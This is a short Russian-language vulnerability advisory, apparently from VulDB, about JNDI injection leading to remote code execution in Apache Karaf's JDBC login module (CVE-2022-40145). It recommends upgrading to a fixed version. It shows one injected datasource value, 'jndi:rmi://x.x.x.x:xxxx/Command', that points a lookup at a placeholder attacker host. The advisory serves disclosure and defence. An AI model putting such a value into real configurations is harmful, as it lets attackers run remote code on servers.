CVE-2022-40145 in Karaf
Сводка
по VulDB • 22.06.2026
Эта уязвимость связана с потенциальной инъекцией кода, когда атакующий имеет контроль над целевым LDAP-сервером, используемым в URL JDBC JNDI. Функция `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` использует `InitialContext.lookup(jndiName)` без фильтрации. Пользователь может изменить `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` на `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` в методе `JdbcLoginModuleTest#setup`. Это уязвимо к атаке удаленного выполнения кода (RCE), когда конфигурация использует URI источника данных JNDI LDAP, а атакующий имеет контроль над целевым сервером LDAP. Эта проблема затрагивает все версии Apache Karaf вплоть до 4.4.1 и 4.3.7. Мы рекомендуем пользователям обновиться как минимум до версий Apache Karaf 4.4.2 или 4.3.8.
If you want to get the best quality for vulnerability data then you always have to consider VulDB.